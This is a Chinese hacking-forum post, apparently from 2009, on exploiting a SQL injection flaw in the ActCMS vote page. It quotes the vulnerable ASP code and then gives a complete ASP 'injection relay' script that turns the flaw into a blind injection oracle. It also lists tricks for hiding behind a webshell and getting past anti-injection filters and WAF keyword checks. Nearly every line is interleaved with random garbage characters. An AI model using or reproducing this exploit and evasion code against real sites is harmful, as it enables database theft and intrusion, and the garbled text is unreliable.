0 a) o7 {: k! z, L
看到ninty大牛的blog的一篇文章( r, q, t& Z* P5 ]+ o6 ]3 t$ B
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
5 O! J; N. b1 `5 `6 {, L关于actcms漏洞的利用 by 3x qq:381862589
# v9 r$ L4 l# b: ?转载请注明以上. q5 U7 I: s+ ?3 S O, V7 V
漏洞文件:* u' o/ S8 w u2 h3 \6 g! l
/plus/vote/vote.asp
; y, u0 w. R! V1 t1 L" X代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
! {& v% T) }: i, d' a, ~
# ^9 {9 g/ O# p0 h' s& \2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
4 i. s- f$ V: i# q/ A( ^# z" u; f# [* h G7 d
3 response.end # a! ^& N$ C% Y1 n, D9 R
- O+ v/ l7 w* A
4 end if / ^# S5 L. H2 m' y/ y" [* L1 A
" z: S3 F- X/ ^) S: F5 for i=1 to request("voted").count
7 k8 C( ~ c6 f" ^' w
7 E$ _% r H$ C) f6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) 5 C' W8 F1 p' E
* E3 T3 K& g; _1 K) ^
7 next
! r/ c% W5 z# N8 D O0 q" K6 G1 O# H- b( Q3 h+ c
8.... / i$ \0 L7 R% Q$ W) B4 p) n
; s( Y3 o- r/ t+ S, A
9response.Redirect "index.asp?id="&id&"" 3 j! W/ }3 ^' Y
投票结束回跳转回index.asp这个投票结果页面
/ e, C; H) B7 L如果投票成功票数加1
2 u3 q& d& c- d, d) H( t 失败票数不变& A2 G) |! z' D% \* h, C' U
如图:: y! P, U8 |$ {- r: w
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)1 N9 _0 c$ v2 U* p3 ?
: M9 y( t- ?0 o- C$ G" o
2009-12-27 13:20
! {0 O- L6 A( Q6 N ~) A( _( Z7 o' ~$ h0 x. @! g
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了1 d8 w# T7 o# |1 W7 `% S
( d# A# G6 n2 K8 ?7 X) K* k4 W
本帖隐藏的内容需要回复才可以浏览* ~1 m! t& W8 j0 k* X0 X' Z
我们用注入中转来实现这个注入具体代码如下:4 ]7 q, s4 \+ G# X5 F4 ?5 E
先用寂寞的刺猬大牛的注入中转生成jmget.asp
6 X& L3 t: G3 _* P注入地址:http://localhost/actcms/plus/vote/vote.asp
9 M, |0 k* t/ _# ?注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项1 N. s! S3 ~3 m
b: \6 h( N } E' }: v1 B
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
}& l' d6 v7 q: s4 Y8 L# F/ d$ X7 m$ K3 k# M
02JmdcwName=request("jmdcw") ) l0 s, U/ A# R$ e8 V1 m! U( _
' O+ {: n3 O& ?' h; B
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 2 X7 s% U. a7 c Y
/ X, y# s4 X0 U8 f04JmStr="id=1&voted=-1 or 1="&JmdcwName " L( j. l I& _, {4 p. ]
: d1 i9 F# \- O6 k% d05JmStr=URLEncoding(JmStr) 5 q2 P. C# z- \$ b" o+ O9 Y' ?
6 f2 X" `) q' u) H" ]
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"5 C; I8 {' O* f" q1 t% N; v5 G
' c8 f* J5 q1 L0 v& j6 x4 i
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
; q3 ~2 ^7 n& V0 u+ K
9 k( Z8 |$ j5 u* l4 P5 t9 _08testurl=testurl & "?" & JmStr
1 D& u' B6 Y: J% m0 U* U4 @( ?' `! ]/ R2 B j2 `9 B$ j" X
09JMUrl=JMUrl & "?" & JmStr 7 u( e9 n# ~. k
& |1 k+ F# U W
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"7 z1 j- k- z, T: N; t$ M0 {5 Y
6 }4 X$ h3 \7 {7 Q11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"+ T$ o: U! P% w- m; W9 c1 E8 f. G" h
* ]3 y# q& l7 g- f8 W/ i
12JmCok=replace(JmCok,chr(32),"%20")
7 s' z. R5 R: D; j, ?
1 n6 Q' j7 A4 Q5 W2 Q; T: Y13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 0 D8 G+ j, ~, t& `# a
9 Z* j* G8 X2 Y/ P j+ U
14
0 t( A m7 Z) W* `! `$ v `& I+ J0 w5 r: ^5 `. `5 z
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
0 v. C* K: S. ~' h" E$ X) T+ r# T* w: H: {3 |; W3 S* o& M
16
% q, {4 L( r3 T, B6 P$ X4 F) g8 M6 {% S) O3 h* \
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 . h/ `6 W- g2 L; \0 B( W/ }$ [/ u/ w
% t1 o/ G+ }* C: l! h" b8 u
18response.write test1&""&test2&""/ r- ]: w# q: h$ V1 [
) A* B9 f; n/ a. H
19 9 X. t! c' O( Z6 n$ M
/ @5 T! w+ M) Q20if test1=test2 then '如前后记录相等,表示失败
, G, n: t" n& z$ q5 t6 |# n/ O$ `
21 response.write "failed". {- \/ z0 L, f, x" _( E; {
! A0 D: Z6 q$ @# T
22else 8 f6 ~. O; z! Y. k+ p+ X, e
: C# _1 H! ^+ y7 j6 O0 e# m
23 response.write "succeed"6 _1 x( \4 b, ]. A5 y- ?/ g
% H* f% H$ K0 o; l! T$ k- r# \3 K
24end if
' B- q. B I* }: ^ ^
! J. a6 O) ?6 f2 ^) ?4 B) t25
% \! I# S6 v( q( z8 w. s- T, J. S+ j7 D7 p, m' U
26response.write "by 3x"
3 P; x/ y. F y. W% z7 n0 X1 a7 ]# u8 R4 g$ ~! V
27
* W5 B9 m: `5 N% j9 ~ C- U( {
- U4 c9 ~7 @5 m" x U" }5 {' T28 : L3 P* a5 e* A# N0 ^' K5 V5 }1 p
' b% _0 F: B H/ K* p29Function PostData(PostUrl,PostStr,PostCok,PostRef)
- v+ t" C Y' S( h4 |4 c$ l. D. t! H6 W' C: _/ g
30Dim Http 2 Z, X! I* G. Q) V1 ]
2 f5 K4 E) r+ o- x31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
+ S7 d V: M$ [+ c' Q" ~/ M& H9 |
6 D8 k+ w% a5 _. k. o' A32With Http : L, d. y% g \% q' z' C6 B( \
) h& s. ]; `( \7 `8 i. i5 a33 5 C% E! h7 v& k8 j4 S
2 P: B6 n* h& x5 f; m2 D' S
34.Open "GET",PostUrl,False. s9 p; `7 | g
! S- p$ G/ a5 K$ u35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"% S0 B- a1 u2 ]
" o3 R7 h; E2 G$ v, L8 f* R36.SetRequestHeader "Referer",PostRef
6 G9 h+ f/ P' b( O- G. L: J% x
+ ^: X4 p* H8 j% x W: P37.SetRequestHeader "Cookie",PostCok
) m) a4 C- Y1 t6 P) V o0 }+ T
1 J' ]* o" s! A5 B3 N3 d+ V38.Send ()
8 n! [* M% Q' t* Y [ p( C& S* C# T; P. w+ u2 B" O6 w3 K3 J3 B
39PostData = .ResponseBody
+ k2 \& ~. b* o; r+ s3 o F8 Z: a7 p
40End With
" j/ ?. L$ d5 t" ^; X! |5 V6 c0 }8 Z4 r% D+ h# B2 ?
41Set Http = Nothing1 H% }7 F+ S- \1 r7 U: R2 v1 l9 A1 p
/ t6 B3 C$ X( ]
42PostData =bytes2BSTR(PostData)
+ z: r' F3 a9 t. ~) `
1 x u4 f+ P3 S u$ S43End Function0 b: g' r4 E0 D/ g/ D0 ~7 R0 u
9 L# y2 ~) a0 K# U- t8 X( k2 ]44
$ M' R; \! f3 t6 F: c9 B+ M
, r/ H- \. ?, n2 Q+ E0 M45
! p2 @$ j8 ^6 N- L: ?5 h( m4 L
2 _2 ?' z/ p6 O {. M; R46Function bytes2BSTR(vIn) ' o( I- D* ~/ ~9 V6 N6 v! }: z4 Q
" {+ y$ K2 a# i) ]2 R3 \: B47Dim strReturn " ?% ?( ]2 d: t: q' [, b! B+ E1 Z
# C& j4 o. D: E48Dim I, ThisCharCode, NextCharCode
6 g9 n8 f% W0 k" T% {/ h) I9 w- M- P; q/ N' W; t
49strReturn = ""
0 O6 k( V) y X( d) S4 b( B; T, i6 J( H" v& c% P$ ^
50For I = 1 To LenB(vIn)
- p6 I' Q* y8 Z8 P( P$ I2 G R2 F5 k. S% ]) i+ K5 l: T8 l1 b$ L1 B# w; Q
51ThisCharCode = AscB(MidB(vIn, I, 1))
' R# a0 u+ Q0 U- _& _& i. f
& M* ~) w, a2 i' c52If ThisCharCode < &H80 Then
% C5 a7 Y. p6 O( n, P4 [0 |. [7 `% p
53strReturn = strReturn & Chr(ThisCharCode) / F: R% t! T0 M+ E# r3 P6 w
, t# o' t- a; \6 z( H+ m$ c* Y
54Else' E6 j; p% W- u6 b2 {& z
- W2 h' k0 ?$ L3 ~6 N+ [$ p; D55NextCharCode = AscB(MidB(vIn, I + 1, 1))
- ]. d: c- C" r! V+ P7 V+ G6 D: c& r& h% s% [, m1 v
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 4 r6 L$ D5 F- x; p' M7 Q
0 I% r" X4 D; U$ U0 `5 O" k
57I = I + 1
1 }+ ^' L w7 `" `
- }- e$ I( g( @) Z# B( o4 Z" {58End If' t2 p9 v3 q7 H, q+ i5 k, i
! H- R" E9 ]4 C0 k& s6 c
59Next
. \. ]/ r7 ~) \# W7 d W: ]; J, L) B% Y
60bytes2BSTR = strReturn
: {0 G1 K# S4 p; }" e$ N: W$ Y) m* Q) ^8 H, i/ P' D6 r% _2 }
61End Function
+ w1 h- W& Q9 @( j9 Z
+ ^7 N& _( D8 B" f4 }. u. B! u& k3 p62
/ C( |' k9 F; u: M- x( o) ^% R1 v
, ~( O Q0 G7 T- ^ ?63Function URLEncoding(vstrin) ! g2 A' f0 `3 z, \$ k* x# u9 Q
& ~% B; y) l h( |. G# S64strReturn=""% J3 a( t6 D. E* Q. @
: R; Q4 e) K0 z# W ~65Dim i
6 ^2 y; X1 U+ J3 n; i
+ N1 M; A) j4 b' ~+ y8 e66For i=1 To Len(vstrin) $ T: s ]+ U* m, _5 V: l
$ q& B6 c+ x k1 a
67ThisChr=Mid(vstrin,i,1) 2 g$ } y- R0 q- x+ ~2 a4 r4 F9 p
* v9 w+ j, l- V; b& u. v68if Abs(Asc(ThisChr))< &HFF Then4 e) @# r: T9 B* K$ \& v
9 X; P d3 c2 G$ u
69strReturn=strReturn & ThisChr 5 G0 J y. @7 Y3 o; e9 ~0 w
1 X% [& i/ Z) ]# y1 D- I, r70Else
, Q% J" T1 a6 b, A; U+ T* r
5 X& N) D6 D5 Y71InnerCode=Asc(ThisChr)
. b/ X! i, p+ a- I" M
0 c: c. j8 E/ y& `0 s: c, a72If InnerCode<0 Then
1 c4 V3 s/ H5 k8 H2 R8 ~% m+ g" v1 H8 a; c. x
73InnerCode=InnerCode + &H10000
2 M* l9 h4 Z4 Z- w& [* M5 a" r2 ]3 z
74End If
3 H7 M" m$ m+ ~" z* u2 o+ Z- K+ M7 u
* |/ }! O2 ~& w z9 W75Hight1=(InnerCode And &HFF00) \&HFF
( {0 h/ H; F4 U% t# M
& K' a8 g& R w; O76Low1=InnerCode And &HFF 6 _5 S% u( R9 \5 d4 l( }8 h$ T
: m# q( X* @3 g E77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ) y- q: G. J7 o$ ?5 l! C
$ @0 v* R& ]& g& A% D5 s
78End if $ L$ m" b! R: U" N
4 A, Y- }: _3 h2 z2 p8 k
79Next
9 ?8 v9 i) n6 p$ Q" i/ [) [1 J; b. ~: i7 e
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 . Z. S" w5 l; V6 }3 C
" \- n, h1 t& b1 s# g$ L3 V# c' w" h; V
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
( @( s* K" ]. q
, o. h7 B; t! T! S6 m Z% i82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
6 d# M$ J, E# w, z3 t$ m( T
/ h0 O' T9 Q8 S0 m6 q83URLEncoding=strReturn ) w B+ a+ t7 u$ O
* o) U( d7 F! {8 M
84End Function# V0 q" b% x" p* b/ p" O
& H& B' _/ n$ d* R85
/ R- |) z& h$ t8 d( a Q
Z$ E" r4 h. ?$ r86function getSt(body)
7 n q4 ?$ a& e8 i. Z/ \0 D/ V" m" L! H
87 startpot=instr(body,"投票人数:")+len("投票人数:")
& m' r9 ~% \' t
: ]: S" G7 @3 V/ H88 endpot=instr(startpot,body," ")
: j4 R1 b, s; C5 F0 j
; \: P# j: U/ {7 x% l; R4 ?89 getSt=mid(body,startpot,endpot-startpot)
. y) Z9 j* D3 g4 {! n. n
, m( N+ K' g+ m# {90end function ; U% L$ X2 o9 b' h; e) z
4 X1 g9 S' p* \( y) @91%>0 |1 {8 X1 c6 s# X6 z. r/ d6 W$ y# E
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
7 Y Z( a$ F3 G6 t测试下效果:9 M$ O# F! }" ?8 M# @( C
投票成功:( n8 h! T& c* |0 K0 {2 n( P/ E
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)& i7 Z- x5 g" r$ O' {
& w7 h: x9 L0 l5 e5 U: V
2009-12-27 13:29
9 b3 b1 d* ~; _投票失败0 x1 q" T# t4 n. G
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)2 p% n/ f5 G8 t ?0 V
$ u% j+ j3 Z+ z6 S7 h% I
2009-12-27 13:29
& Q" O5 N: \$ Y/ x9 c-------------------------------------------------------------------------------
1 ^0 Z ^& O5 m9 I( q再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
8 Q7 {. ~; M9 ^! q: E7 J很抱歉。。。只能用单线程工具去注入。。。。。9 ^4 ~: M0 w0 e, K- W0 ?
所以失败。。。不好意思。。。
4 G, ]& }/ X6 w9 p-------------------------------------------------------------------------------
, I2 O' v2 F3 O- F2 l
; w# a7 R- ? x+ r8 x; c注入中转的一些其他应用/ W% C2 X3 u- y! ~5 m) h; F
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了2 x- }0 d8 q z
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
& ]: p8 y- V+ J2.post注入转成get型的注入,方便我们使用工具来跑4 Q5 F6 c, K5 C6 q+ I) M6 l0 a( h
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")* C2 h6 T9 }0 h/ g* `
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过7 X/ p1 P1 M; v$ h
C+ F8 ~* U; t* B3 ] |